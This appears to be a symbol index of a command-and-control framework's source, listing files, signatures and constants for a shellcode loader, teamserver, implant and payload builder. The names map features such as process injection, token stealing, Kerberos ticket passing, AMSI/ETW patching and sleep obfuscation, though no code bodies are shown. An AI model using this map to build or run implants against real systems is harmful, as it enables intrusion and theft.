  function main (line 24) | int main(int argc, char** argv)

FILE: payloads/Shellcode/Source/Entry.c
  function VOID (line 11) | VOID Entry( VOID )
  function VOID (line 104) | VOID KaynLdrReloc( PVOID KaynImage, PVOID ImageBase, PVOID BaseRelocDir,...

FILE: payloads/Shellcode/Source/Utils.c
  function UINT_PTR (line 4) | UINT_PTR HashString( LPVOID String, UINT_PTR Length )

FILE: payloads/Shellcode/Source/Win32.c
  function UINT_PTR (line 5) | UINT_PTR LdrModulePeb( UINT_PTR hModuleHash )
  function PVOID (line 23) | PVOID LdrFunctionAddr( UINT_PTR Module, UINT_PTR FunctionHash )

FILE: teamserver/cmd/cmd.go
  function init (line 29) | func init() {
  function teamserverFunc (line 47) | func teamserverFunc(cmd *cobra.Command, args []string) error {
  function startMenu (line 61) | func startMenu() {

FILE: teamserver/cmd/server/agent.go
  method AgentUpdate (line 16) | func (t *Teamserver) AgentUpdate(agent *agent.Agent) {
  method Died (line 23) | func (t *Teamserver) Died(Agent *agent.Agent) {
  method UnlinkFromAll (line 30) | func (t *Teamserver) UnlinkFromAll(Agent *agent.Agent) {
  method ParentOf (line 53) | func (t *Teamserver) ParentOf(Agent *agent.Agent) (int, error) {
  method LinksOf (line 60) | func (t *Teamserver) LinksOf(Agent *agent.Agent) []int {
  method LinkAdd (line 66) | func (t *Teamserver) LinkAdd(ParentAgent *agent.Agent, LinkAgent *agent....
  method LinkRemove (line 78) | func (t *Teamserver) LinkRemove(ParentAgent *agent.Agent, LinkAgent *age...
  method AgentHasDied (line 102) | func (t *Teamserver) AgentHasDied(Agent *agent.Agent) bool {
  method AgentAdd (line 108) | func (t *Teamserver) AgentAdd(Agent *agent.Agent) []*agent.Agent {
  method AgentSendNotify (line 123) | func (t *Teamserver) AgentSendNotify(Agent *agent.Agent) {
  method AgentCallbackSize (line 138) | func (t *Teamserver) AgentCallbackSize(DemonInstance *agent.Agent, i int) {
  method AgentInstance (line 155) | func (t *Teamserver) AgentInstance(AgentID int) *agent.Agent {
  method AgentLastTimeCalled (line 166) | func (t *Teamserver) AgentLastTimeCalled(AgentID string, LastCallback st...
  method AgentExist (line 183) | func (t *Teamserver) AgentExist(AgentID int) bool {
  method AgentConsole (line 198) | func (t *Teamserver) AgentConsole(AgentID string, CommandID int, Output ...
  method PythonModuleCallback (line 208) | func (t *Teamserver) PythonModuleCallback(ClientID string, AgentID strin...
  method AgentCallback (line 220) | func (t *Teamserver) AgentCallback(DemonID string, Time string) {
  method SendLogs (line 233) | func (t *Teamserver) SendLogs() bool {
  method GetDotNetPipeTemplate (line 237) | func (t *Teamserver) GetDotNetPipeTemplate() string {

FILE: teamserver/cmd/server/dispatch.go
  method DispatchEvent (line 20) | func (t *Teamserver) DispatchEvent(pk packager.Package) {

FILE: teamserver/cmd/server/listener.go
  method ListenerStart (line 19) | func (t *Teamserver) ListenerStart(ListenerType int, info any) error {
  method ListenerExist (line 113) | func (t *Teamserver) ListenerExist(Name string) bool {
  method ListenerGetInfo (line 124) | func (t *Teamserver) ListenerGetInfo(Name string) map[string]any {
  method ListenerRemove (line 144) | func (t *Teamserver) ListenerRemove(Name string) ([]*Listener, []package...
  method ListenerEdit (line 192) | func (t *Teamserver) ListenerEdit(Type int, Config any) {
  method ListenerAdd (line 220) | func (t *Teamserver) ListenerAdd(FromUser string, Type int, Config any) ...
  method ListenerServiceExc2Add (line 337) | func (t *Teamserver) ListenerServiceExc2Add(Name, ExEndpoint string, cli...
  method ListenerStartNotify (line 378) | func (t *Teamserver) ListenerStartNotify(Listener map[string]any) {

FILE: teamserver/cmd/server/service.go
  method ServiceAgent (line 9) | func (t *Teamserver) ServiceAgent(MagicValue int) agent.ServiceAgentInte...
  method ServiceAgentExist (line 20) | func (t *Teamserver) ServiceAgentExist(MagicValue int) bool {

FILE: teamserver/cmd/server/teamserver.go
  function NewTeamserver (line 37) | func NewTeamserver(DatabasePath string) *Teamserver {
  method SetServerFlags (line 48) | func (t *Teamserver) SetServerFlags(flags TeamserverFlags) {
  method Start (line 52) | func (t *Teamserver) Start() {
  method handleRequest (line 497) | func (t *Teamserver) handleRequest(id string) {
  method SetProfile (line 626) | func (t *Teamserver) SetProfile(path string) {
  method ClientAuthenticate (line 637) | func (t *Teamserver) ClientAuthenticate(pk packager.Package) bool {
  method EventBroadcast (line 690) | func (t *Teamserver) EventBroadcast(ExceptClient string, pk packager.Pac...
  method EventNewDemon (line 709) | func (t *Teamserver) EventNewDemon(DemonAgent *agent.Agent) packager.Pac...
  method EventAgentMark (line 713) | func (t *Teamserver) EventAgentMark(AgentID, Mark string) {
  method EventListenerError (line 720) | func (t *Teamserver) EventListenerError(ListenerName string, Error error) {
  method SendEvent (line 741) | func (t *Teamserver) SendEvent(id string, pk packager.Package) error {
  method RemoveClient (line 773) | func (t *Teamserver) RemoveClient(ClientID string) {
  method EventAppend (line 797) | func (t *Teamserver) EventAppend(event packager.Package) []packager.Pack...
  method EventRemove (line 812) | func (t *Teamserver) EventRemove(EventID int) []packager.Package {
  method SendAllPackagesToNewClient (line 818) | func (t *Teamserver) SendAllPackagesToNewClient(ClientID string) {
  method FindSystemPackages (line 842) | func (t *Teamserver) FindSystemPackages() bool {
  method EndpointAdd (line 933) | func (t *Teamserver) EndpointAdd(endpoint *Endpoint) bool {
  method EndpointRemove (line 945) | func (t *Teamserver) EndpointRemove(endpoint string) []*Endpoint {

FILE: teamserver/cmd/server/types.go
  type Listener (line 16) | type Listener struct
  type Client (line 22) | type Client struct
  type Users (line 34) | type Users struct
  type serverFlags (line 41) | type serverFlags struct
  type utilFlags (line 53) | type utilFlags struct
  type TeamserverFlags (line 63) | type TeamserverFlags struct
  type Endpoint (line 68) | type Endpoint struct
  type Teamserver (line 73) | type Teamserver struct

FILE: teamserver/main.go
  function main (line 6) | func main() {

FILE: teamserver/pkg/agent/agent.go
  function BuildPayloadMessage (line 29) | func BuildPayloadMessage(Jobs []Job, AesKey []byte, AesIv []byte) []byte {
  function ParseHeader (line 181) | func ParseHeader(data []byte) (Header, error) {
  function RegisterInfoToInstance (line 215) | func RegisterInfoToInstance(Header Header, RegisterInfo map[string]any) ...
  function ParseDemonRegisterRequest (line 328) | func ParseDemonRegisterRequest(AgentID int, Parser *parser.Parser, Exter...
  method IsKnownRequestID (line 609) | func (a *Agent) IsKnownRequestID(teamserver TeamServer, RequestID uint32...
  method AddRequest (line 632) | func (a *Agent) AddRequest(job Job) []Job {
  method RequestCompleted (line 638) | func (a *Agent) RequestCompleted(RequestID uint32) {
  method AddJobToQueue (line 647) | func (a *Agent) AddJobToQueue(job Job) []Job {
  method GetQueuedJobs (line 661) | func (a *Agent) GetQueuedJobs() []Job {
  method UpdateLastCallback (line 739) | func (a *Agent) UpdateLastCallback(Teamserver TeamServer) {
  method PivotAddJob (line 746) | func (a *Agent) PivotAddJob(job Job) {
  method DownloadAdd (line 816) | func (a *Agent) DownloadAdd(FileID int, FilePath string, FileSize int64)...
  method DownloadWrite (line 865) | func (a *Agent) DownloadWrite(FileID int, data []byte) error {
  method DownloadClose (line 888) | func (a *Agent) DownloadClose(FileID int) {
  method DownloadGet (line 902) | func (a *Agent) DownloadGet(FileID int) *Download {
  method PortFwdNew (line 911) | func (a *Agent) PortFwdNew(SocketID, LclAddr, LclPort, FwdAddr, FwdPort ...
  method PortFwdGet (line 929) | func (a *Agent) PortFwdGet(SocketID int) *PortFwd {
  method PortFwdIsOpen (line 948) | func (a *Agent) PortFwdIsOpen(SocketID int) (bool, error) {
  method PortFwdOpen (line 958) | func (a *Agent) PortFwdOpen(SocketID int) error {
  method PortFwdWrite (line 979) | func (a *Agent) PortFwdWrite(SocketID int, data []byte) error {
  method PortFwdRead (line 997) | func (a *Agent) PortFwdRead(SocketID int) ([]byte, error) {
  method PortFwdClose (line 1023) | func (a *Agent) PortFwdClose(SocketID int) {
  method SocksClientAdd (line 1053) | func (a *Agent) SocksClientAdd(SocketID int32, conn net.Conn, ATYP byte,...
  method SocksClientGet (line 1073) | func (a *Agent) SocksClientGet(SocketID int) *SocksClient {
  method SocksClientRead (line 1096) | func (a *Agent) SocksClientRead(client *SocksClient) ([]byte, error) {
  method SocksClientClose (line 1130) | func (a *Agent) SocksClientClose(SocketID int32) bool {
  method SocksServerRemove (line 1163) | func (a *Agent) SocksServerRemove(Addr string) {
  method ToMap (line 1193) | func (a *Agent) ToMap() map[string]interface{} {
  method ToJson (line 1224) | func (a *Agent) ToJson() string {
  method AgentsAppend (line 1238) | func (agents *Agents) AgentsAppend(demon *Agent) []*Agent {
  function getWindowsVersionString (line 1243) | func getWindowsVersionString(OsVersion []int) string {

FILE: teamserver/pkg/agent/commands.go
  constant DEMON_MAGIC_VALUE (line 4) | DEMON_MAGIC_VALUE = 0xDEADBEEF
  constant DEMON_MAX_RESPONSE_LENGTH (line 15) | DEMON_MAX_RESPONSE_LENGTH = 0x1e00000
  constant PROCESS_ARCH_UNKNOWN (line 19) | PROCESS_ARCH_UNKNOWN = 0
  constant PROCESS_ARCH_X86 (line 20) | PROCESS_ARCH_X86     = 1
  constant PROCESS_ARCH_X64 (line 21) | PROCESS_ARCH_X64     = 2
  constant PROCESS_ARCH_IA64 (line 22) | PROCESS_ARCH_IA64    = 3
  constant COMMAND_GET_JOB (line 27) | COMMAND_GET_JOB                 = 1
  constant DEMON_INIT (line 28) | DEMON_INIT                      = 99
  constant COMMAND_CHECKIN (line 29) | COMMAND_CHECKIN                 = 100
  constant COMMAND_NOJOB (line 30) | COMMAND_NOJOB                   = 10
  constant COMMAND_SLEEP (line 31) | COMMAND_SLEEP                   = 11
  constant COMMAND_PROC (line 32) | COMMAND_PROC                    = 0x1010
  constant COMMAND_PS_IMPORT (line 33) | COMMAND_PS_IMPORT               = 0x1011
  constant COMMAND_PROC_LIST (line 34) | COMMAND_PROC_LIST               = 12
  constant COMMAND_FS (line 35) | COMMAND_FS                      = 15
  constant COMMAND_INLINEEXECUTE (line 36) | COMMAND_INLINEEXECUTE           = 20
  constant COMMAND_ASSEMBLY_INLINE_EXECUTE (line 37) | COMMAND_ASSEMBLY_INLINE_EXECUTE = 0x2001
  constant COMMAND_ASSEMBLY_LIST_VERSIONS (line 38) | COMMAND_ASSEMBLY_LIST_VERSIONS  = 0x2003
  constant COMMAND_JOB (line 39) | COMMAND_JOB                     = 21
  constant COMMAND_INJECT_DLL (line 40) | COMMAND_INJECT_DLL              = 22
  constant COMMAND_INJECT_SHELLCODE (line 41) | COMMAND_INJECT_SHELLCODE        = 24
  constant COMMAND_SPAWNDLL (line 42) | COMMAND_SPAWNDLL                = 26
  constant COMMAND_PROC_PPIDSPOOF (line 43) | COMMAND_PROC_PPIDSPOOF          = 27
  constant COMMAND_TOKEN (line 44) | COMMAND_TOKEN                   = 40
  constant COMMAND_NET (line 45) | COMMAND_NET                     = 2100
  constant COMMAND_CONFIG (line 46) | COMMAND_CONFIG                  = 2500
  constant COMMAND_SCREENSHOT (line 47) | COMMAND_SCREENSHOT              = 2510
  constant COMMAND_PIVOT (line 48) | COMMAND_PIVOT                   = 2520
  constant COMMAND_TRANSFER (line 49) | COMMAND_TRANSFER                = 2530
  constant COMMAND_SOCKET (line 50) | COMMAND_SOCKET                  = 2540
  constant COMMAND_KERBEROS (line 51) | COMMAND_KERBEROS                = 2550
  constant COMMAND_MEM_FILE (line 52) | COMMAND_MEM_FILE                = 2560
  constant COMMAND_PACKAGE_DROPPED (line 53) | COMMAND_PACKAGE_DROPPED         = 2570
  constant DEMON_INFO (line 55) | DEMON_INFO = 89
  constant COMMAND_OUTPUT (line 57) | COMMAND_OUTPUT    = 90
  constant COMMAND_ERROR (line 58) | COMMAND_ERROR     = 91
  constant COMMAND_EXIT (line 59) | COMMAND_EXIT      = 92
  constant COMMAND_KILL_DATE (line 60) | COMMAND_KILL_DATE = 93
  constant BEACON_OUTPUT (line 61) | BEACON_OUTPUT     = 94
  constant COMMAND_INLINEEXECUTE_EXCEPTION (line 63) | COMMAND_INLINEEXECUTE_EXCEPTION        = 1
  constant COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND (line 64) | COMMAND_INLINEEXECUTE_SYMBOL_NOT_FOUND = 2
  constant COMMAND_INLINEEXECUTE_RAN_OK (line 65) | COMMAND_INLINEEXECUTE_RAN_OK           = 3
  constant COMMAND_INLINEEXECUTE_COULD_NO_RUN (line 66) | COMMAND_INLINEEXECUTE_COULD_NO_RUN     = 4
  constant COMMAND_EXCEPTION (line 68) | COMMAND_EXCEPTION        = 0x98
  constant COMMAND_SYMBOL_NOT_FOUND (line 69) | COMMAND_SYMBOL_NOT_FOUND = 0x99
  constant CALLBACK_OUTPUT (line 71) | CALLBACK_OUTPUT      = 0x0
  constant CALLBACK_OUTPUT_OEM (line 72) | CALLBACK_OUTPUT_OEM  = 0x1e
  constant CALLBACK_ERROR (line 73) | CALLBACK_ERROR       = 0x0d
  constant CALLBACK_OUTPUT_UTF8 (line 74) | CALLBACK_OUTPUT_UTF8 = 0x20
  constant CALLBACK_FILE (line 75) | CALLBACK_FILE        = 0x02
  constant CALLBACK_FILE_WRITE (line 76) | CALLBACK_FILE_WRITE  = 0x08
  constant CALLBACK_FILE_CLOSE (line 77) | CALLBACK_FILE_CLOSE  = 0x09
  constant CONFIG_IMPLANT_SPFTHREADSTART (line 81) | CONFIG_IMPLANT_SPFTHREADSTART  = 3
  constant CONFIG_IMPLANT_SLEEP_TECHNIQUE (line 82) | CONFIG_IMPLANT_SLEEP_TECHNIQUE = 5
  constant CONFIG_IMPLANT_VERBOSE (line 84) | CONFIG_IMPLANT_VERBOSE         = 4
  constant CONFIG_IMPLANT_COFFEE_THREADED (line 85) | CONFIG_IMPLANT_COFFEE_THREADED = 6
  constant CONFIG_IMPLANT_COFFEE_VEH (line 86) | CONFIG_IMPLANT_COFFEE_VEH      = 7
  constant CONFIG_MEMORY_ALLOC (line 88) | CONFIG_MEMORY_ALLOC   = 101
  constant CONFIG_MEMORY_EXECUTE (line 89) | CONFIG_MEMORY_EXECUTE = 102
  constant CONFIG_INJECT_TECHNIQUE (line 91) | CONFIG_INJECT_TECHNIQUE = 150
  constant CONFIG_INJECT_SPOOFADDR (line 92) | CONFIG_INJECT_SPOOFADDR = 151
  constant CONFIG_INJECT_SPAWN64 (line 93) | CONFIG_INJECT_SPAWN64   = 152
  constant CONFIG_INJECT_SPAWN32 (line 94) | CONFIG_INJECT_SPAWN32   = 153
  constant CONFIG_KILLDATE (line 96) | CONFIG_KILLDATE     = 154
  constant CONFIG_WORKINGHOURS (line 97) | CONFIG_WORKINGHOURS = 155
  constant DEMON_NET_COMMAND_DOMAIN (line 99) | DEMON_NET_COMMAND_DOMAIN     = 1
  constant DEMON_NET_COMMAND_LOGONS (line 100) | DEMON_NET_COMMAND_LOGONS     = 2
  constant DEMON_NET_COMMAND_SESSIONS (line 101) | DEMON_NET_COMMAND_SESSIONS   = 3
  constant DEMON_NET_COMMAND_COMPUTER (line 102) | DEMON_NET_COMMAND_COMPUTER   = 4
  constant DEMON_NET_COMMAND_DCLIST (line 103) | DEMON_NET_COMMAND_DCLIST     = 5
  constant DEMON_NET_COMMAND_SHARE (line 104) | DEMON_NET_COMMAND_SHARE      = 6
  constant DEMON_NET_COMMAND_LOCALGROUP (line 105) | DEMON_NET_COMMAND_LOCALGROUP = 7
  constant DEMON_NET_COMMAND_GROUP (line 106) | DEMON_NET_COMMAND_GROUP      = 8
  constant DEMON_NET_COMMAND_USERS (line 107) | DEMON_NET_COMMAND_USERS      = 9
  constant DEMON_PIVOT_LIST (line 109) | DEMON_PIVOT_LIST           = 1
  constant DEMON_PIVOT_SMB_CONNECT (line 110) | DEMON_PIVOT_SMB_CONNECT    = 10
  constant DEMON_PIVOT_SMB_DISCONNECT (line 111) | DEMON_PIVOT_SMB_DISCONNECT = 11
  constant DEMON_PIVOT_SMB_COMMAND (line 112) | DEMON_PIVOT_SMB_COMMAND    = 12
  constant DEMON_INFO_MEM_ALLOC (line 114) | DEMON_INFO_MEM_ALLOC   = 10
  constant DEMON_INFO_MEM_EXEC (line 115) | DEMON_INFO_MEM_EXEC    = 11
  constant DEMON_INFO_MEM_PROTECT (line 116) | DEMON_INFO_MEM_PROTECT = 12
  constant DEMON_INFO_PROC_CREATE (line 117) | DEMON_INFO_PROC_CREATE = 21
  constant DEMON_COMMAND_JOB_LIST (line 119) | DEMON_COMMAND_JOB_LIST        = 1
  constant DEMON_COMMAND_JOB_SUSPEND (line 120) | DEMON_COMMAND_JOB_SUSPEND     = 2
  constant DEMON_COMMAND_JOB_RESUME (line 121) | DEMON_COMMAND_JOB_RESUME      = 3
  constant DEMON_COMMAND_JOB_KILL_REMOVE (line 122) | DEMON_COMMAND_JOB_KILL_REMOVE = 4
  constant DEMON_COMMAND_JOB_DIED (line 123) | DEMON_COMMAND_JOB_DIED        = 5
  constant DEMON_COMMAND_TRANSFER_LIST (line 125) | DEMON_COMMAND_TRANSFER_LIST   = 0
  constant DEMON_COMMAND_TRANSFER_STOP (line 126) | DEMON_COMMAND_TRANSFER_STOP   = 1
  constant DEMON_COMMAND_TRANSFER_RESUME (line 127) | DEMON_COMMAND_TRANSFER_RESUME = 2
  constant DEMON_COMMAND_TRANSFER_REMOVE (line 128) | DEMON_COMMAND_TRANSFER_REMOVE = 3
  constant DEMON_COMMAND_PROC_MODULES (line 130) | DEMON_COMMAND_PROC_MODULES = 2
  constant DEMON_COMMAND_PROC_GREP (line 131) | DEMON_COMMAND_PROC_GREP    = 3
  constant DEMON_COMMAND_PROC_CREATE (line 132) | DEMON_COMMAND_PROC_CREATE  = 4
  constant DEMON_COMMAND_PROC_MEMORY (line 133) | DEMON_COMMAND_PROC_MEMORY  = 6
  constant DEMON_COMMAND_PROC_KILL (line 134) | DEMON_COMMAND_PROC_KILL    = 7
  constant DEMON_COMMAND_TOKEN_IMPERSONATE (line 136) | DEMON_COMMAND_TOKEN_IMPERSONATE      = 1
  constant DEMON_COMMAND_TOKEN_STEAL (line 137) | DEMON_COMMAND_TOKEN_STEAL            = 2
  constant DEMON_COMMAND_TOKEN_LIST (line 138) | DEMON_COMMAND_TOKEN_LIST             = 3
  constant DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST (line 139) | DEMON_COMMAND_TOKEN_PRIVSGET_OR_LIST = 4
  constant DEMON_COMMAND_TOKEN_MAKE (line 140) | DEMON_COMMAND_TOKEN_MAKE             = 5
  constant DEMON_COMMAND_TOKEN_GET_UID (line 141) | DEMON_COMMAND_TOKEN_GET_UID          = 6
  constant DEMON_COMMAND_TOKEN_REVERT (line 142) | DEMON_COMMAND_TOKEN_REVERT           = 7
  constant DEMON_COMMAND_TOKEN_REMOVE (line 143) | DEMON_COMMAND_TOKEN_REMOVE           = 8
  constant DEMON_COMMAND_TOKEN_CLEAR (line 144) | DEMON_COMMAND_TOKEN_CLEAR            = 9
  constant DEMON_COMMAND_TOKEN_FIND_TOKENS (line 145) | DEMON_COMMAND_TOKEN_FIND_TOKENS      = 10
  constant DEMON_COMMAND_FS_DIR (line 147) | DEMON_COMMAND_FS_DIR      = 1
  constant DEMON_COMMAND_FS_DOWNLOAD (line 148) | DEMON_COMMAND_FS_DOWNLOAD = 2
  constant DEMON_COMMAND_FS_UPLOAD (line 149) | DEMON_COMMAND_FS_UPLOAD   = 3
  constant DEMON_COMMAND_FS_CD (line 150) | DEMON_COMMAND_FS_CD       = 4
  constant DEMON_COMMAND_FS_REMOVE (line 151) | DEMON_COMMAND_FS_REMOVE   = 5
  constant DEMON_COMMAND_FS_MKDIR (line 152) | DEMON_COMMAND_FS_MKDIR    = 6
  constant DEMON_COMMAND_FS_COPY (line 153) | DEMON_COMMAND_FS_COPY     = 7
  constant DEMON_COMMAND_FS_MOVE (line 154) | DEMON_COMMAND_FS_MOVE     = 8
  constant DEMON_COMMAND_FS_GET_PWD (line 155) | DEMON_COMMAND_FS_GET_PWD  = 9
  constant DEMON_COMMAND_FS_CAT (line 156) | DEMON_COMMAND_FS_CAT      = 10
  constant DOTNET_INFO_PATCHED (line 160) | DOTNET_INFO_PATCHED     = 0x1
  constant DOTNET_INFO_NET_VERSION (line 161) | DOTNET_INFO_NET_VERSION = 0x2
  constant DOTNET_INFO_ENTRYPOINT (line 162) | DOTNET_INFO_ENTRYPOINT  = 0x3
  constant DOTNET_INFO_FINISHED (line 163) | DOTNET_INFO_FINISHED    = 0x4
  constant DOTNET_INFO_FAILED (line 164) | DOTNET_INFO_FAILED      = 0x5
  constant HAVOC_CONSOLE_MESSAGE (line 168) | HAVOC_CONSOLE_MESSAGE = 0x80
  constant HAVOC_BOF_CALLBACK (line 169) | HAVOC_BOF_CALLBACK    = 0x81
  constant ERROR_WIN32_LASTERROR (line 173) | ERROR_WIN32_LASTERROR = 1
  constant ERROR_TOKEN (line 174) | ERROR_TOKEN           = 3
  constant SOCKET_COMMAND_RPORTFWD_ADD (line 178) | SOCKET_COMMAND_RPORTFWD_ADD    = 0x0
  constant SOCKET_COMMAND_RPORTFWD_ADDLCL (line 179) | SOCKET_COMMAND_RPORTFWD_ADDLCL = 0x1
  constant SOCKET_COMMAND_RPORTFWD_LIST (line 180) | SOCKET_COMMAND_RPORTFWD_LIST   = 0x2
  constant SOCKET_COMMAND_RPORTFWD_CLEAR (line 181) | SOCKET_COMMAND_RPORTFWD_CLEAR  = 0x3
  constant SOCKET_COMMAND_RPORTFWD_REMOVE (line 182) | SOCKET_COMMAND_RPORTFWD_REMOVE = 0x4
  constant SOCKET_COMMAND_SOCKSPROXY_ADD (line 184) | SOCKET_COMMAND_SOCKSPROXY_ADD    = 0x5
  constant SOCKET_COMMAND_SOCKSPROXY_LIST (line 185) | SOCKET_COMMAND_SOCKSPROXY_LIST   = 0x6
  constant SOCKET_COMMAND_SOCKSPROXY_REMOVE (line 186) | SOCKET_COMMAND_SOCKSPROXY_REMOVE = 0x7
  constant SOCKET_COMMAND_SOCKSPROXY_CLEAR (line 187) | SOCKET_COMMAND_SOCKSPROXY_CLEAR  = 0x8
  constant SOCKET_COMMAND_OPEN (line 189) | SOCKET_COMMAND_OPEN       = 0x10
  constant SOCKET_COMMAND_READ (line 190) | SOCKET_COMMAND_READ       = 0x11
  constant SOCKET_COMMAND_WRITE (line 191) | SOCKET_COMMAND_WRITE      = 0x12
  constant SOCKET_COMMAND_CLOSE (line 192) | SOCKET_COMMAND_CLOSE      = 0x13
  constant SOCKET_COMMAND_CONNECT (line 193) | SOCKET_COMMAND_CONNECT    = 0x14
  constant SOCKET_TYPE_REVERSE_PORTFWD (line 195) | SOCKET_TYPE_REVERSE_PORTFWD = 0x1
  constant SOCKET_TYPE_REVERSE_PROXY (line 196) | SOCKET_TYPE_REVERSE_PROXY   = 0x2
  constant SOCKET_TYPE_CLIENT (line 197) | SOCKET_TYPE_CLIENT          = 0x3
  constant SOCKET_ERROR_ALREADY_BOUND (line 199) | SOCKET_ERROR_ALREADY_BOUND = 0x1
  constant KERBEROS_COMMAND_LUID (line 203) | KERBEROS_COMMAND_LUID  = 0x0
  constant KERBEROS_COMMAND_KLIST (line 204) | KERBEROS_COMMAND_KLIST = 0x1
  constant KERBEROS_COMMAND_PURGE (line 205) | KERBEROS_COMMAND_PURGE = 0x2
  constant KERBEROS_COMMAND_PTT (line 206) | KERBEROS_COMMAND_PTT   = 0x3
  constant COFFEELDR_FLAG_NON_THREADED (line 210) | COFFEELDR_FLAG_NON_THREADED = 0
  constant COFFEELDR_FLAG_THREADED (line 211) | COFFEELDR_FLAG_THREADED     = 1
  constant COFFEELDR_FLAG_DEFAULT (line 212) | COFFEELDR_FLAG_DEFAULT      = 2
  constant INJECT_WAY_SPAWN (line 216) | INJECT_WAY_SPAWN   = 0
  constant INJECT_WAY_INJECT (line 217) | INJECT_WAY_INJECT  = 1
  constant INJECT_WAY_EXECUTE (line 218) | INJECT_WAY_EXECUTE = 2
  constant THREAD_METHOD_DEFAULT (line 222) | THREAD_METHOD_DEFAULT            = 0
  constant THREAD_METHOD_CREATEREMOTETHREAD (line 223) | THREAD_METHOD_CREATEREMOTETHREAD = 1
  constant THREAD_METHOD_NTCREATEHREADEX (line 224) | THREAD_METHOD_NTCREATEHREADEX    = 2
  constant THREAD_METHOD_NTQUEUEAPCTHREAD (line 225) | THREAD_METHOD_NTQUEUEAPCTHREAD   = 3
  constant SecurityAnonymous (line 229) | SecurityAnonymous      = 0x0
  constant SecurityIdentification (line 230) | SecurityIdentification = 0x1
  constant SecurityImpersonation (line 231) | SecurityImpersonation  = 0x2
  constant SecurityDelegation (line 232) | SecurityDelegation     = 0x3
  constant SECURITY_MANDATORY_UNTRUSTED_RID (line 236) | SECURITY_MANDATORY_UNTRUSTED_RID         = 0x00000000
  constant SECURITY_MANDATORY_LOW_RID (line 237) | SECURITY_MANDATORY_LOW_RID               = 0x00001000
  constant SECURITY_MANDATORY_MEDIUM_RID (line 238) | SECURITY_MANDATORY_MEDIUM_RID            = 0x00002000
  constant SECURITY_MANDATORY_HIGH_RID (line 239) | SECURITY_MANDATORY_HIGH_RID              = 0x00003000
  constant SECURITY_MANDATORY_SYSTEM_RID (line 240) | SECURITY_MANDATORY_SYSTEM_RID            = 0x00004000
  constant SECURITY_MANDATORY_PROTECTED_PROCESS_RID (line 241) | SECURITY_MANDATORY_PROTECTED_PROCESS_RID = 0x00005000
  constant TokenPrimary (line 245) | TokenPrimary       = 1
  constant TokenImpersonation (line 246) | TokenImpersonation = 2
  constant INJECT_ERROR_SUCCESS (line 250) | INJECT_ERROR_SUCCESS               = 0
  constant INJECT_ERROR_FAILED (line 251) | INJECT_ERROR_FAILED                = 1
  constant INJECT_ERROR_INVALID_PARAM (line 252) | INJECT_ERROR_INVALID_PARAM         = 2
  constant INJECT_ERROR_PROCESS_ARCH_MISMATCH (line 253) | INJECT_ERROR_PROCESS_ARCH_MISMATCH = 3

FILE: teamserver/pkg/agent/demons.go
  method UploadMemFileInChunks (line 31) | func (a *Agent) UploadMemFileInChunks(FileData []byte) uint32 {
  method TeamserverTaskPrepare (line 64) | func (a *Agent) TeamserverTaskPrepare(Command string, Console func(Agent...
  method TaskPrepare (line 128) | func (a *Agent) TaskPrepare(Command int, Info any, Message *map[string]s...
  method TaskDispatch (line 2285) | func (a *Agent) TaskDispatch(RequestID uint32, CommandID uint32, Parser ...
  method Console (line 6430) | func (a *Agent) Console(Console func(DemonID string, CommandID int, Outp...

FILE: teamserver/pkg/agent/types.go
  constant typeGood (line 14) | typeGood  = "Good"
  constant typeInfo (line 15) | typeInfo  = "Info"
  constant typeError (line 16) | typeError = "Error"
  type DemonInterface (line 19) | type DemonInterface interface
  type EventInterface (line 23) | type EventInterface interface
  type Header (line 26) | type Header struct
  type ServiceAgentInterface (line 33) | type ServiceAgentInterface interface
  type TeamServer (line 40) | type TeamServer interface
  type Job (line 73) | type Job struct
  type Pivots (line 89) | type Pivots struct
  type Download (line 94) | type Download struct
  type BofCallback (line 104) | type BofCallback struct
  type PortFwd (line 111) | type PortFwd struct
  type SocksClient (line 124) | type SocksClient struct
  type SocksServer (line 133) | type SocksServer struct
  type Agent (line 139) | type Agent struct
  type AgentInfo (line 174) | type AgentInfo struct
  type Agents (line 212) | type Agents struct
  constant DOWNLOAD_STATE_RUNNING (line 223) | DOWNLOAD_STATE_RUNNING = 0x1
  constant DOWNLOAD_STATE_STOPPED (line 224) | DOWNLOAD_STATE_STOPPED = 0x2
  constant DOWNLOAD_STATE_REMOVE (line 225) | DOWNLOAD_STATE_REMOVE  = 0x3

FILE: teamserver/pkg/common/builder/builder.go
  constant PayloadDir (line 27) | PayloadDir  = "payloads"
  constant PayloadName (line 28) | PayloadName = "demon"
  constant FILETYPE_WINDOWS_EXE (line 32) | FILETYPE_WINDOWS_EXE            = 1
  constant FILETYPE_WINDOWS_SERVICE_EXE (line 33) | FILETYPE_WINDOWS_SERVICE_EXE    = 2
  constant FILETYPE_WINDOWS_DLL (line 34) | FILETYPE_WINDOWS_DLL            = 3
  constant FILETYPE_WINDOWS_REFLECTIVE_DLL (line 35) | FILETYPE_WINDOWS_REFLECTIVE_DLL = 4
  constant FILETYPE_WINDOWS_RAW_BINARY (line 36) | FILETYPE_WINDOWS_RAW_BINARY     = 5
  constant SLEEPOBF_NO_OBF (line 40) | SLEEPOBF_NO_OBF  = 0
  constant SLEEPOBF_EKKO (line 41) | SLEEPOBF_EKKO    = 1
  constant SLEEPOBF_ZILEAN (line 42) | SLEEPOBF_ZILEAN  = 2
  constant SLEEPOBF_FOLIAGE (line 43) | SLEEPOBF_FOLIAGE = 3
  constant SLEEPOBF_BYPASS_NONE (line 47) | SLEEPOBF_BYPASS_NONE   = 0
  constant SLEEPOBF_BYPASS_JMPRAX (line 48) | SLEEPOBF_BYPASS_JMPRAX = 1
  constant SLEEPOBF_BYPASS_JMPRBX (line 49) | SLEEPOBF_BYPASS_JMPRBX = 2
  constant PROXYLOADING_NONE (line 53) | PROXYLOADING_NONE             = 0
  constant PROXYLOADING_RTLREGISTERWAIT (line 54) | PROXYLOADING_RTLREGISTERWAIT  = 1
  constant PROXYLOADING_RTLCREATETIMER (line 55) | PROXYLOADING_RTLCREATETIMER   = 2
  constant PROXYLOADING_RTLQUEUEWORKITEM (line 56) | PROXYLOADING_RTLQUEUEWORKITEM = 3
  constant AMSIETW_PATCH_NONE (line 60) | AMSIETW_PATCH_NONE   = 0
  constant AMSIETW_PATCH_HWBP (line 61) | AMSIETW_PATCH_HWBP   = 1
  constant AMSIETW_PATCH_MEMORY (line 62) | AMSIETW_PATCH_MEMORY = 2
  constant ARCHITECTURE_X64 (line 66) | ARCHITECTURE_X64 = 1
  constant ARCHITECTURE_X86 (line 67) | ARCHITECTURE_X86 = 2
  type BuilderConfig (line 70) | type BuilderConfig struct
